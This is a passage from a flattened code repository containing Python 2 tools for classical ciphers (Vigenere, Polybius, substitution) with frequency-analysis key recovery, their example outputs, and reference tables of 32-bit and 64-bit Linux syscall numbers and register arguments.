||||||||||||||||||||| 102 | 2 ||||||||||||||||||||| 103 | 3 ||||||||||||||||||||| 104 | 4 ||||||||||||||||||||| 105 | 5 ||||||||||||||||||||| 106 | 6 ||||||||||||||||||||| 107 | 7 ||||||||||||||||||||||||||||||||||||||| 108 | 8 ||||||||||||||||||||| 109 | 9 ||||||||||||||||||||| 110 | 10 ||||||||||||||||||||| 111 | 11 ||||||||||||||||||||| 112 | 12 |||||||||||||||||||| 113 | 13 ||||||||||||||||||||| 114 | 14 |||||||||||||||||||||||||||||||||||||||| 115 | 15 ||||||||||||||||||||| 116 | 16 |||||||||||||||||||| 117 | 17 ||||||||||||||||||||| 118 | 18 |||||||||||||||||||| 119 | 19 |||||||||||||||||||| 120 | 20 ||||||||||||||||||||| 121 | 122 | [*] Most probable key length : 14 123 | 124 | [*] [UPDATE] Most probable key length : 7 125 | 126 | [*] Most probable key : HACKNDO 127 | 128 | [*] Decryption complete 129 | SALUTLESAMISJESUISPARTIENAM [...] 130 | ``` 131 | 132 | ### PolybiusCipher 133 | 134 | Example 135 | 136 | ```python 137 | # French truncated text example from http://blog.hackndo.com/retour-a-la-libc/ 138 | p = PolybiusCipher("Salut les amis, je suis parti [..]") 139 | p.key = "HACKNDO" 140 | p.encipher() 141 | print p.tostring() 142 | p.decipher() 143 | print p.tostring() 144 | ``` 145 | 146 | Result 147 | 148 | ``` 149 | [*] Keysquare initialized 150 | H A C K N 151 | D O B E F 152 | G I J L M 153 | P Q R S T 154 | U V X Y Z 155 | 156 | [*] Encipher complete 157 | 158 | SHIUTINSHJESFNSUESPHRTENLHJNREQUNKU [...] 159 | [*] Keysquare initialized 160 | H A C K N 161 | D O B E F 162 | G I J L M 163 | P Q R S T 164 | U V X Y Z 165 | 166 | [*] Decipher complete 167 | 168 | SALUTLESAMISJESUISPARTIENAMERIQUEDUS [...] 169 | ``` 170 | 171 | -------------------------------------------------------------------------------- /pytools/Substitution.py: -------------------------------------------------------------------------------- 1 | from __future__ import division 2 | from Cipher import Cipher 3 | import math 4 | 5 | class Substitution(Cipher): 6 | 7 | _reference_alphabet = None 8 | _substitute_alphabet = None 9 | 10 | @property 11 | def substitute_alphabet(self): 12 | if self._substitute_alphabet is None: 13 | print "[!] Substitution alphabet not given. Using standard alphabet" 14 | self._substitute_alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" 15 | return self._substitute_alphabet 16 | 17 | @substitute_alphabet.setter 18 | def substitute_alphabet(self, alphabet): 19 | self._substitute_alphabet = alphabet 20 | 21 | 22 | @property 23 | def reference_alphabet(self): 24 | if self._reference_alphabet is None: 25 | print "[!] Reference alphabet not given. Using standard alphabet" 26 | self._reference_alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" 27 | return self._reference_alphabet 28 | 29 | @reference_alphabet.setter 30 | def reference_alphabet(self, alphabet): 31 | self._reference_alphabet = alphabet 32 | 33 | 34 | def substitute(self): 35 | self.s = [self.__substitute_letter(c) for c in self.s] 36 | 37 | 38 | def substitute_reverse(self): 39 | self.s = [self.__substitute_letter_reverse(c) for c in self.s] 40 | 41 | 42 | def __substitute_letter(self, letter): 43 | for i in range(len(self.reference_alphabet)): 44 | if letter == self.reference_alphabet[i]: 45 | return self.substitute_alphabet[i] 46 | return '?' 47 | 48 | def __substitute_letter_reverse(self, letter): 49 | for i in range(len(self.substitute_alphabet)): 50 | if letter == self.substitute_alphabet[i]: 51 | return self.reference_alphabet[i] 52 | return '?' -------------------------------------------------------------------------------- /pytools/Text.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | from __future__ import division 3 | import collections 4 | import math 5 | class Text(object): 6 | def __init__(self, s, size_element=1, keep_spaces=False): 7 | """ 8 | s: Text to analyse 9 | size_element: Size of one element 10 | 11 | Example 12 | if a = "AAA", b = "BBB", ..., z = "ZZZ" 13 | One element is 3 bytes 14 | text = Text("HHHEEELLLLLLOOOWWWOOORRRLLLDDD", 3) 15 | """ 16 | s = Text.clean_string(s, keep_spaces) 17 | self._s = [s[size_element*j:(j+1)*size_element] for j in range(len(s)//size_element)] 18 | self._len = len(self.s) 19 | self._frequencies = self.get_frequencies() 20 | 21 | 22 | 23 | # ---------------------------------- PUBLIC ---------------------------------- 24 | 25 | # s getter, setter 26 | @property 27 | def s(self): 28 | return self._s 29 | 30 | 31 | @s.setter 32 | def s(self, s): 33 | self._s = s 34 | 35 | # len getter 36 | @property 37 | def len(self): 38 | return self._len 39 | 40 | 41 | def help(self): 42 | print "************************" 43 | print "* Text analysis module *" 44 | print "************************\n" 45 | print "+-------------------+" 46 | print "| Available methods |" 47 | print "+-------------------+\n" 48 | 49 | print "[+] Text(s, size_element=1, keep_spaces=False)" 50 | print " s: Text to analyse" 51 | print " size_element: Size of one element" 52 | print " keep_spaces: Keep spaces\n" 53 | 54 | print "[+] display()" 55 | print " Display analysed text\n" 56 | 57 | print "[*] get_number_of_different_char()" 58 | print " Return number of unique chars\n" 59 | 60 | print "[+] get_frequencies(n=1)" 61 | print " Return frequencies of 'n' size group of letters\n" 62 | 63 | print "[+] get_double_letters_frequencies()" 64 | print " Return frenquencies of double letters\n" 65 | 66 | print "[+] get_most_common_frequencies(n=1, m=5)" 67 | print " Return 'm' most frequent 'n' size group of letters\n" 68 | 69 | print "[+] get_ic()" 70 | print " Return indice of coincidence of analysed text\n" 71 | 72 | print "[+] analyse()" 73 | print " Display general information about analysed text\n" 74 | 75 | 76 | def display(self): 77 | """ 78 | Display analysed text 79 | """ 80 | 81 | print ''.join(self._s) 82 | 83 | 84 | def tostring(self): 85 | 86 | return ''.join(self._s) 87 | 88 | 89 | def get_number_of_different_char(self): 90 | """ 91 | Return number of unique chars 92 | """ 93 | 94 | copy = self._s 95 | return len(set(copy)) 96 | 97 | 98 | def get_frequencies(self, n=1): 99 | """ 100 | Return frequencies of 'n' size group of letters 101 | """ 102 | 103 | l = [] 104 | for i in range(n): 105 | l.extend([''.join(self._s[j*n+i:j*n+n+i]) for j in range((len(self._s)-i)//n)]) 106 | return collections.Counter(l) 107 | 108 | 109 | def get_double_letters_frequencies(self): 110 | """ 111 | Return frenquencies of double letters 112 | """ 113 | l = [] 114 | for i in range(2): 115 | l.extend([''.join(self._s[j*2+i:(j+1)*2+i]) if self._s[j*2+i] == self._s[(j+1)*2+i-1] else '' for j in range((len(self._s)-i)//2)]) 116 | counter = collections.Counter(l) 117 | del counter[''] 118 | return counter 119 | 120 | 121 | def get_most_common_frequencies(self, n=1, m=5): 122 | """ 123 | Return 'm' most frequent 'n' size group of letters 124 | """ 125 | 126 | return self.get_frequencies(n).most_common(m) 127 | 128 | 129 | def get_ic(self): 130 | """ 131 | Return indice of coincidence of analysed text 132 | """ 133 | return round(sum( 134 | [self._frequencies.values()[i]*(self._frequencies.values()[i]-1) 135 | /(self._len*(self._len-1)) for i in range(len(self._frequencies))]), 4) 136 | 137 | 138 | def analyse(self): 139 | """ 140 | Display general information about analysed text 141 | """ 142 | 143 | print "[*] ANALYSIS\n" 144 | print " [+] Size" 145 | print " " + str(self.len) + " chars" 146 | 147 | print "\n [+] Number of unique chars" 148 | print " " + str(self.get_number_of_different_char()) 149 | r = list(set(self._s)) 150 | r.sort() 151 | print " " + str(r) 152 | 153 | print "\n [+] Most common frequencies" 154 | print " " + str(self.get_most_common_frequencies(n=1, m=5)) 155 | 156 | print "\n [+] Double letters frequencies" 157 | print " " + str(self.get_double_letters_frequencies()) 158 | 159 | print "\n [+] IC" 160 | print " " + str(self.get_ic()) 161 | 162 | print "" 163 | 164 | # ---------------------------------- STATIC ---------------------------------- 165 | 166 | @staticmethod 167 | def clean_string(s, keep_spaces=False): 168 | if s == "" or s is None: 169 | return None 170 | s = s.lower().replace("’", "").replace("é","e").replace("è","e").replace("ê","e").replace("ë","e").replace("à","a").replace("ç","c").replace("Ç", "c").replace(".","").replace(",","").replace("?","").replace("!","").replace(":","").replace(";","").replace("-","").replace("'","").replace("\"","").replace("(","").replace(")","").replace("ù","u").replace("ô","o").replace("ü","u") 171 | if not keep_spaces: 172 | s = s.replace(" ","") 173 | return s.upper() -------------------------------------------------------------------------------- /pytools/VigenereCipher.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | from __future__ import division 4 | from KeyCipher import KeyCipher 5 | from VigenereLikeCipher import VigenereLikeCipher 6 | from Text import Text 7 | 8 | class VigenereCipher(KeyCipher, VigenereLikeCipher): 9 | 10 | def encipher(self): 11 | encrypted = ['_'] * self.len 12 | counter = 0 13 | for i in range(self.len): 14 | if self._s[i] != " ": 15 | self._s[i] = chr((ord(self.s[i])-65+ord(self._key[counter])-65)%26+65) 16 | counter = (counter+1)%len(self._key) 17 | return self 18 | 19 | def decipher(self): 20 | counter = 0 21 | decrypted = ['_'] * self._len 22 | for i in range(self._len): 23 | if self._s[i] != " ": 24 | self._s[i] = chr((ord(self._s[i])-65-(ord(self._key[counter])-65))%26+65) 25 | counter = (counter+1)%len(self._key) 26 | return self 27 | 28 | def decrypt(self, min_len=1, max_len=9, display=False): 29 | self._key = self.__guess_key(min_len, max_len, display) 30 | if self._key < 0: 31 | print "Unable to decrypt the message. Perhaps it's to small and frequence analysis can't be used" 32 | return -1 33 | print "[*] Most probable key : " + self._key + "\n" 34 | self.decipher() 35 | print "[*] Decryption complete" 36 | 37 | 38 | def __guess_key(self, min_len=1, max_len=9, display=False): 39 | keylen = self.guess_key_length(min_len, max_len, display) 40 | if keylen == 0: 41 | print "[!] No key length found." 42 | return -1 43 | if display: 44 | print "[*] Most probable key length : " + str(keylen) + "\n" 45 | freq_fr = {'e': 14.715, 's': 7.948, 'a': 7.636, 'i': 7.529, 't': 7.244, 'n': 7.095, 'r': 6.553, 'u': 6.311, 'l': 5.456, 'o': 5.378, 'd': 3.669, 'c': 3.260, 'p': 3.021, 'm': 2.968, 'v': 1.628, 'q': 1.362, 'f': 1.066, 'b': 0.901, 'g': 0.866, 'h': 0.737, 'j': 0.545, 'x': 0.387, 'y': 0.308, 'z': 0.136, 'w': 0.114, 'k': 0.049} 46 | password = "" 47 | for i in range(keylen): 48 | sub_alphabet = VigenereCipher(''.join([self._s[keylen*j + i] for j in range(self._len//keylen)])) 49 | min_differential = 99999 50 | password_letter = "" 51 | for c in range(65, 65+26): 52 | sub_alphabet.key = chr(c) 53 | decrypted = VigenereCipher(sub_alphabet.decipher().tostring()) 54 | sub_alphabet.encipher() 55 | freq_s = { k:round((v/decrypted.len)*100, 3) for k,v in dict(decrypted.get_frequencies()).items()} 56 | differential = sum([abs(freq_fr[k.lower()]-v) for k,v in freq_s.items()]) 57 | if differential < min_differential: 58 | min_differential = differential 59 | password_letter = chr(c) 60 | password += password_letter 61 | 62 | # Little hack for repetitive password due to frequency analysis 63 | for i in range(1, len(password)): 64 | if len(password) % i == 0: 65 | duplicate = True 66 | s = [password[j*i:(j+1)*i] for j in range(len(password)//i)] 67 | ex_prec = s[0] 68 | for ex in s: 69 | if ex != ex_prec: 70 | duplicate = False 71 | break 72 | ex_prec = ex 73 | if duplicate: 74 | password = ex 75 | if display: 76 | print "[*] [UPDATE] Most probable key length : " + str(len(password)) + "\n" 77 | break 78 | return Text.clean_string(password) 79 | 80 | if __name__ == "__main__": 81 | p = VigenereCipher("Salut les amis, je suis parti en amerique du sud parce que je trouvais que l'endroit etait super sympa. Vous en pensez quoi ? Moi je trouve que c'est une idée géniale. Le voyage, tout le monde le sait, ça permet de fait de nouvelles rencontres, notamment la rencontre avec soi-même. Le voyage, tout le monde le sait, ça permet de découvrir le monde, de découvrir de nouvelles villes, de nouveaux villages, de nouveaux paysages. Le voyage, tout le monde le sait, ça permet de s'ouvrir à de nouvelles cultures, de nouvelles traditions, de nouvelles manières de vivre. Ça, tout le monde le sait. Mais pour moi, il y a quelque chose d'autre. Quelque chose que souvent j'oublie, que souvent je ne remarque pas, que souvent je néglige. Le voyage, je ne le savais pas, ça permet de me rendre compte que ma ville, Paris, est belle. Paris, et tous ses quartiers plein de cafés aux multiples tintements de tasses, de terasses calmes sous les rayons de soleil, d'odeurs de baguettes sorties du four, de pavés authentiques, de façades aux magnifiques allures Hausmaniennes, de grandes portes en bois, de ruelles biscornues abritant des endroits secrets, de pont majestueux surplombant la Seine, de collines, de quais piétons aux plus grand plaisir des amoureux, de canaux promptent à des promenades dominicales sous les arbres en fleurs, de fleuristes aux coins de rues desquels émanent ces odeurs délicieuses, de vie, tout simplement.") 82 | p.key = "hackndo" 83 | p.encipher() 84 | p.decrypt(max_len=20, display=True) 85 | print p.tostring() -------------------------------------------------------------------------------- /pytools/VigenereLikeCipher.py: -------------------------------------------------------------------------------- 1 | from __future__ import division 2 | from Cipher import Cipher 3 | import math 4 | 5 | class VigenereLikeCipher(Cipher): 6 | def guess_key_length(self, min_len=1, max_len=9, display=False): 7 | """ 8 | Guess key length based on frequence analysis 9 | """ 10 | 11 | res = {} 12 | max_ic = 0 13 | probable_key_length = 0 14 | # We try different key lengths 15 | for i in range(min_len, max_len+1): 16 | 17 | if self._len < i*2: 18 | continue 19 | ics = [] 20 | for j in range(i): 21 | var = [] 22 | for k in range(self._len//i): 23 | var.append(self._s[k*i + j]) 24 | text = VigenereLikeCipher(''.join(var)) 25 | ics.append(text.get_ic()) 26 | total_ic = round(sum(ics)/len(ics),4) 27 | if total_ic > max_ic: 28 | max_ic = total_ic 29 | probable_key_length = i 30 | res[i] = total_ic 31 | if display: 32 | print "\n[+] Visual key length IC correspondance" 33 | for k,v in res.items(): 34 | v = int(round(v*1000,0)) 35 | print str(k) + (int(math.floor(math.log10(len(res))))+1-len(str(k)))*" ", 36 | print ''.join(['|' for i in range(v//2)]) 37 | print "" 38 | return probable_key_length -------------------------------------------------------------------------------- /pytools/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Hackndo/misc/860c4f6bfcc4025d4947c6d7833f04242d9e99a5/pytools/__init__.py -------------------------------------------------------------------------------- /syscalls32.md: -------------------------------------------------------------------------------- 1 | | %eax | Name | Source | %ebx | %ecx | %edx | %esi | %edi | 2 | |------|------|--------|------|------|------|------|------| 3 | | 1 | sys_exit | kernel/exit.c | int | - | - | - | - | 4 | | 2 | sys_fork | arch/i386/kernel/process.c | struct pt_regs | - | - | - | - | 5 | | 3 | sys_read | fs/read_write.c | unsigned int | char * | size_t | - | - | 6 | | 4 | sys_write | fs/read_write.c | unsigned int | const char * | size_t | - | - | 7 | | 5 | sys_open | fs/open.c | const char * | int | int | - | - | 8 | | 6 | sys_close | fs/open.c | unsigned int | - | - | - | - | 9 | | 7 | sys_waitpid | kernel/exit.c | pid_t | unsigned int * | int | - | - | 10 | | 8 | sys_creat | fs/open.c | const char * | int | - | - | - | 11 | | 9 | sys_link | fs/namei.c | const char * | const char * | - | - | - | 12 | | 10 | sys_unlink | fs/namei.c | const char * | - | - | - | - | 13 | | 11 | sys_execve | arch/i386/kernel/process.c | struct pt_regs | - | - | - | - | 14 | | 12 | sys_chdir | fs/open.c | const char * | - | - | - | - | 15 | | 13 | sys_time | kernel/time.c | int * | - | - | - | - | 16 | | 14 | sys_mknod | fs/namei.c | const char * | int | dev_t | - | - | 17 | | 15 | sys_chmod | fs/open.c | const char * | mode_t | - | - | - | 18 | | 16 | sys_lchown | fs/open.c | const char * | uid_t | gid_t | - | - | 19 | | 18 | sys_stat | fs/stat.c | char * | struct __old_kernel_stat * | - | - | - | 20 | | 19 | sys_lseek | fs/read_write.c | unsigned int | off_t | unsigned int | - | - | 21 | | 20 | sys_getpid | kernel/sched.c | - | - | - | - | - | 22 | | 21 | sys_mount | fs/super.c | char * | char * | char * | - | - | 23 | | 22 | sys_oldumount | fs/super.c | char * | - | - | - | - | 24 | | 23 | sys_setuid | kernel/sys.c | uid_t | - | - | - | - | 25 | | 24 | sys_getuid | kernel/sched.c | - | - | - | - | - | 26 | | 25 | sys_stime | kernel/time.c | int * | - | - | - | - | 27 | | 26 | sys_ptrace | arch/i386/kernel/ptrace.c | long | long | long | long | - | 28 | | 27 | sys_alarm | kernel/sched.c | unsigned int | - | - | - | - | 29 | | 28 | sys_fstat | fs/stat.c | unsigned int | struct __old_kernel_stat * | - | - | - | 30 | | 29 | sys_pause | arch/i386/kernel/sys_i386.c | - | - | - | - | - | 31 | | 30 | sys_utime | fs/open.c | char * | struct utimbuf * | - | - | - | 32 | | 33 | sys_access | fs/open.c | const char * | int | - | - | - | 33 | | 34 | sys_nice | kernel/sched.c | int | - | - | - | - | 34 | | 36 | sys_sync | fs/buffer.c | - | - | - | - | - | 35 | | 37 | sys_kill | kernel/signal.c | int | int | - | - | - | 36 | | 38 | sys_rename | fs/namei.c | const char * | const char * | - | - | - | 37 | | 39 | sys_mkdir | fs/namei.c | const char * | int | - | - | - | 38 | | 40 | sys_rmdir | fs/namei.c | const char * | - | - | - | - | 39 | | 41 | sys_dup | fs/fcntl.c | unsigned int | - | - | - | - | 40 | | 42 | sys_pipe | arch/i386/kernel/sys_i386.c | unsigned long * | - | - | - | - | 41 | | 43 | sys_times | kernel/sys.c | struct tms * | - | - | - | - | 42 | | 45 | sys_brk | mm/mmap.c | unsigned long | - | - | - | - | 43 | | 46 | sys_setgid | kernel/sys.c | gid_t | - | - | - | - | 44 | | 47 | sys_getgid | kernel/sched.c | - | - | - | - | - | 45 | | 48 | sys_signal | kernel/signal.c | int | __sighandler_t | - | - | - | 46 | | 49 | sys_geteuid | kernel/sched.c | - | - | - | - | - | 47 | | 50 | sys_getegid | kernel/sched.c | - | - | - | - | - | 48 | | 51 | sys_acct | kernel/acct.c | const char * | - | - | - | - | 49 | | 52 | sys_umount | fs/super.c | char * | int | - | - | - | 50 | | 54 | sys_ioctl | fs/ioctl.c | unsigned int | unsigned int | unsigned long | - | - | 51 | | 55 | sys_fcntl | fs/fcntl.c | unsigned int | unsigned int | unsigned long | - | - | 52 | | 57 | sys_setpgid | kernel/sys.c | pid_t | pid_t | - | - | - | 53 | | 59 | sys_olduname | arch/i386/kernel/sys_i386.c | struct oldold_utsname * | - | - | - | - | 54 | | 60 | sys_umask | kernel/sys.c | int | - | - | - | - | 55 | | 61 | sys_chroot | fs/open.c | const char * | - | - | - | - | 56 | | 62 | sys_ustat | fs/super.c | dev_t | struct ustat * | - | - | - | 57 | | 63 | sys_dup2 | fs/fcntl.c | unsigned int | unsigned int | - | - | - | 58 | | 64 | sys_getppid | kernel/sched.c | - | - | - | - | - | 59 | | 65 | sys_getpgrp | kernel/sys.c | - | - | - | - | - | 60 | | 66 | sys_setsid | kernel/sys.c | - | - | - | - | - | 61 | | 67 | sys_sigaction | arch/i386/kernel/signal.c | int | const struct old_sigaction * | struct old_sigaction * | - | - | 62 | | 68 | sys_sgetmask | kernel/signal.c | - | - | - | - | - | 63 | | 69 | sys_ssetmask | kernel/signal.c | int | - | - | - | - | 64 | | 70 | sys_setreuid | kernel/sys.c | uid_t | uid_t | - | - | - | 65 | | 71 | sys_setregid | kernel/sys.c | gid_t | gid_t | - | - | - | 66 | | 72 | sys_sigsuspend | arch/i386/kernel/signal.c | int | int | old_sigset_t | - | - | 67 | | 73 | sys_sigpending | kernel/signal.c | old_sigset_t * | - | - | - | - | 68 | | 74 | sys_sethostname | kernel/sys.c | char * | int | - | - | - | 69 | | 75 | sys_setrlimit | kernel/sys.c | unsigned int | struct rlimit * | - | - | - | 70 | | 76 | sys_getrlimit | kernel/sys.c | unsigned int | struct rlimit * | - | - | - | 71 | | 77 | sys_getrusage | kernel/sys.c | int | struct rusage * | - | - | - | 72 | | 78 | sys_gettimeofday | kernel/time.c | struct timeval * | struct timezone * | - | - | - | 73 | | 79 | sys_settimeofday | kernel/time.c | struct timeval * | struct timezone * | - | - | - | 74 | | 80 | sys_getgroups | kernel/sys.c | int | gid_t * | - | - | - | 75 | | 81 | sys_setgroups | kernel/sys.c | int | gid_t * | - | - | - | 76 | | 82 | old_select | arch/i386/kernel/sys_i386.c | struct sel_arg_struct * | - | - | - | - | 77 | | 83 | sys_symlink | fs/namei.c | const char * | const char * | - | - | - | 78 | | 84 | sys_lstat | fs/stat.c | char * | struct __old_kernel_stat * | - | - | - | 79 | | 85 | sys_readlink | fs/stat.c | const char * | char * | int | - | - | 80 | | 86 | sys_uselib | fs/exec.c | const char * | - | - | - | - | 81 | | 87 | sys_swapon | mm/swapfile.c | const char * | int | - | - | - | 82 | | 88 | sys_reboot | kernel/sys.c | int | int | int | void * | - | 83 | | 89 | old_readdir | fs/readdir.c | unsigned int | void * | unsigned int | - | - | 84 | | 90 | old_mmap | arch/i386/kernel/sys_i386.c | struct mmap_arg_struct * | - | - | - | - | 85 | | 91 | sys_munmap | mm/mmap.c | unsigned long | size_t | - | - | - | 86 | | 92 | sys_truncate | fs/open.c | const char * | unsigned long | - | - | - | 87 | | 93 | sys_ftruncate | fs/open.c | unsigned int | unsigned long | - | - | - | 88 | | 94 | sys_fchmod | fs/open.c | unsigned int | mode_t | - | - | - | 89 | | 95 | sys_fchown | fs/open.c | unsigned int | uid_t | gid_t | - | - | 90 | | 96 | sys_getpriority | kernel/sys.c | int | int | - | - | - | 91 | | 97 | sys_setpriority | kernel/sys.c | int | int | int | - | - | 92 | | 99 | sys_statfs | fs/open.c | const char * | struct statfs * | - | - | - | 93 | | 100 | sys_fstatfs | fs/open.c | unsigned int | struct statfs * | - | - | - | 94 | | 101 | sys_ioperm | arch/i386/kernel/ioport.c | unsigned long | unsigned long | int | - | - | 95 | | 102 | sys_socketcall | net/socket.c | int | unsigned long * | - | - | - | 96 | | 103 | sys_syslog | kernel/printk.c | int | char * | int | - | - | 97 | | 104 | sys_setitimer | kernel/itimer.c | int | struct itimerval * | struct itimerval * | - | - | 98 | | 105 | sys_getitimer | kernel/itimer.c | int | struct itimerval * | - | - | - | 99 | | 106 | sys_newstat | fs/stat.c | char * | struct stat * | - | - | - | 100 | | 107 | sys_newlstat | fs/stat.c | char * | struct stat * | - | - | - | 101 | | 108 | sys_newfstat | fs/stat.c | unsigned int | struct stat * | - | - | - | 102 | | 109 | sys_uname | arch/i386/kernel/sys_i386.c | struct old_utsname * | - | - | - | - | 103 | | 110 | sys_iopl | arch/i386/kernel/ioport.c | unsigned long | - | - | - | - | 104 | | 111 | sys_vhangup | fs/open.c | - | - | - | - | - | 105 | | 112 | sys_idle | arch/i386/kernel/process.c | - | - | - | - | - | 106 | | 113 | sys_vm86old | arch/i386/kernel/vm86.c | unsigned long | struct vm86plus_struct * | - | - | - | 107 | | 114 | sys_wait4 | kernel/exit.c | pid_t | unsigned long * | int options | struct rusage * | - | 108 | | 115 | sys_swapoff | mm/swapfile.c | const char * | - | - | - | - | 109 | | 116 | sys_sysinfo | kernel/info.c | struct sysinfo * | - | - | - | - | 110 | | 117 | sys_ipc | arch/i386/kernel/sys_i386.c | uint | int | int | int | void * | 111 | | 118 | sys_fsync | fs/buffer.c | unsigned int | - | - | - | - | 112 | | 119 | sys_sigreturn | arch/i386/kernel/signal.c | unsigned long | - | - | - | - | 113 | | 120 | sys_clone | arch/i386/kernel/process.c | struct pt_regs | - | - | - | - | 114 | | 121 | sys_setdomainname | kernel/sys.c | char * | int | - | - | - | 115 | | 122 | sys_newuname | kernel/sys.c | struct new_utsname * | - | - | - | - | 116 | | 123 | sys_modify_ldt | arch/i386/kernel/ldt.c | int | void * | unsigned long | - | - | 117 | | 124 | sys_adjtimex | kernel/time.c | struct timex * | - | - | - | - | 118 | | 125 | sys_mprotect | mm/mprotect.c | unsigned long | size_t | unsigned long | - | - | 119 | | 126 | sys_sigprocmask | kernel/signal.c | int | old_sigset_t * | old_sigset_t * | - | - | 120 | | 127 | sys_create_module | kernel/module.c | const char * | size_t | - | - | - | 121 | | 128 | sys_init_module | kernel/module.c | const char * | struct module * | - | - | - | 122 | | 129 | sys_delete_module | kernel/module.c | const char * | - | - | - | - | 123 | | 130 | sys_get_kernel_syms | kernel/module.c | struct kernel_sym * | - | - | - | - | 124 | | 131 | sys_quotactl | fs/dquot.c | int | const char * | int | caddr_t | - | 125 | | 132 | sys_getpgid | kernel/sys.c | pid_t | - | - | - | - | 126 | | 133 | sys_fchdir | fs/open.c | unsigned int | - | - | - | - | 127 | | 134 | sys_bdflush | fs/buffer.c | int | long | - | - | - | 128 | | 135 | sys_sysfs | fs/super.c | int | unsigned long | unsigned long | - | - | 129 | | 136 | sys_personality | kernel/exec_domain.c | unsigned long | - | - | - | - | 130 | | 138 | sys_setfsuid | kernel/sys.c | uid_t | - | - | - | - | 131 | | 139 | sys_setfsgid | kernel/sys.c | gid_t | - | - | - | - | 132 | | 140 | sys_llseek | fs/read_write.c | unsigned int | unsigned long | unsigned long | loff_t * | unsigned int | 133 | | 141 | sys_getdents | fs/readdir.c | unsigned int | void * | unsigned int | - | - | 134 | | 142 | sys_select | fs/select.c | int | fd_set * | fd_set * | fd_set * | struct timeval * | 135 | | 143 | sys_flock | fs/locks.c | unsigned int | unsigned int | - | - | - | 136 | | 144 | sys_msync | mm/filemap.c | unsigned long | size_t | int | - | - | 137 | | 145 | sys_readv | fs/read_write.c | unsigned long | const struct iovec * | unsigned long | - | - | 138 | | 146 | sys_writev | fs/read_write.c | unsigned long | const struct iovec * | unsigned long | - | - | 139 | | 147 | sys_getsid | kernel/sys.c | pid_t | - | - | - | - | 140 | | 148 | sys_fdatasync | fs/buffer.c | unsigned int | - | - | - | - | 141 | | 149 | sys_sysctl | kernel/sysctl.c | struct __sysctl_args * | - | - | - | - | 142 | | 150 | sys_mlock | mm/mlock.c | unsigned long | size_t | - | - | - | 143 | | 151 | sys_munlock | mm/mlock.c | unsigned long | size_t | - | - | - | 144 | | 152 | sys_mlockall | mm/mlock.c | int | - | - | - | - | 145 | | 153 | sys_munlockall | mm/mlock.c | - | - | - | - | - | 146 | | 154 | sys_sched_setparam | kernel/sched.c | pid_t | struct sched_param * | - | - | - | 147 | | 155 | sys_sched_getparam | kernel/sched.c | pid_t | struct sched_param * | - | - | - | 148 | | 156 | sys_sched_setscheduler | kernel/sched.c | pid_t | int | struct sched_param * | - | - | 149 | | 157 | sys_sched_getscheduler | kernel/sched.c | pid_t | - | - | - | - | 150 | | 158 | sys_sched_yield | kernel/sched.c | - | - | - | - | - | 151 | | 159 | sys_sched_get_priority_max | kernel/sched.c | int | - | - | - | - | 152 | | 160 | sys_sched_get_priority_min | kernel/sched.c | int | - | - | - | - | 153 | | 161 | sys_sched_rr_get_interval | kernel/sched.c | pid_t | struct timespec * | - | - | - | 154 | | 162 | sys_nanosleep | kernel/sched.c | struct timespec * | struct timespec * | - | - | - | 155 | | 163 | sys_mremap | mm/mremap.c | unsigned long | unsigned long | unsigned long | unsigned long | - | 156 | | 164 | sys_setresuid | kernel/sys.c | uid_t | uid_t | uid_t | - | - | 157 | | 165 | sys_getresuid | kernel/sys.c | uid_t * | uid_t * | uid_t * | - | - | 158 | | 166 | sys_vm86 | arch/i386/kernel/vm86.c | struct vm86_struct * | - | - | - | - | 159 | | 167 | sys_query_module | kernel/module.c | const char * | int | char * | size_t | size_t * | 160 | | 168 | sys_poll | fs/select.c | struct pollfd * | unsigned int | long | - | - | 161 | | 169 | sys_nfsservctl | fs/filesystems.c | int | void * | void * | - | - | 162 | | 170 | sys_setresgid | kernel/sys.c | gid_t | gid_t | gid_t | - | - | 163 | | 171 | sys_getresgid | kernel/sys.c | gid_t * | gid_t * | gid_t * | - | - | 164 | | 172 | sys_prctl | kernel/sys.c | int | unsigned long | unsigned long | unsigned long | unsigned long | 165 | | 173 | sys_rt_sigreturn | arch/i386/kernel/signal.c | unsigned long | - | - | - | - | 166 | | 174 | sys_rt_sigaction | kernel/signal.c | int | const struct sigaction * | struct sigaction * | size_t | - | 167 | | 175 | sys_rt_sigprocmask | kernel/signal.c | int | sigset_t * | sigset_t * | size_t | - | 168 | | 176 | sys_rt_sigpending | kernel/signal.c | sigset_t * | size_t | - | - | - | 169 | | 177 | sys_rt_sigtimedwait | kernel/signal.c | const sigset_t * | siginfo_t * | const struct timespec * | size_t | - | 170 | | 178 | sys_rt_sigqueueinfo | kernel/signal.c | int | int | siginfo_t * | - | - | 171 | | 179 | sys_rt_sigsuspend | arch/i386/kernel/signal.c | sigset_t * | size_t | - | - | - | 172 | | 180 | sys_pread | fs/read_write.c | unsigned int | char * | size_t | loff_t | - | 173 | | 181 | sys_pwrite | fs/read_write.c | unsigned int | const char * | size_t | loff_t | - | 174 | | 182 | sys_chown | fs/open.c | const char * | uid_t | gid_t | - | - | 175 | | 183 | sys_getcwd | fs/dcache.c | char * | unsigned long | - | - | - | 176 | | 184 | sys_capget | kernel/capability.c | cap_user_header_t | cap_user_data_t | - | - | - | 177 | | 185 | sys_capset | kernel/capability.c | cap_user_header_t | const cap_user_data_t | - | - | - | 178 | | 186 | sys_sigaltstack | arch/i386/kernel/signal.c | const stack_t * | stack_t * | - | - | - | 179 | | 187 | sys_sendfile | mm/filemap.c | int | int | off_t * | size_t | - | 180 | | 190 | sys_vfork | arch/i386/kernel/process.c | struct pt_regs | - | - | - | - | 181 | -------------------------------------------------------------------------------- /syscalls64.md: -------------------------------------------------------------------------------- 1 | |%rax | System call | %rdi | %rsi | %rdx | %r10 | %r8 | %r9 2 | |---|---|---|---|---|---|---|---| 3 | | 0 | sys_read | unsigned int fd | char *buf | size_t count | 4 | | 1 | sys_write | unsigned int fd | const char *buf | size_t count | 5 | | 2 | sys_open | const char *filename | int flags | int mode | 6 | | 3 | sys_close | unsigned int fd | 7 | | 4 | sys_stat | const char *filename | struct stat *statbuf | 8 | | 5 | sys_fstat | unsigned int fd | struct stat *statbuf | 9 | | 6 | sys_lstat | fconst char *filename | struct stat *statbuf | 10 | | 7 | sys_poll | struct poll_fd *ufds | unsigned int nfds | long timeout_msecs | 11 | | 8 | sys_lseek | unsigned int fd | off_t offset | 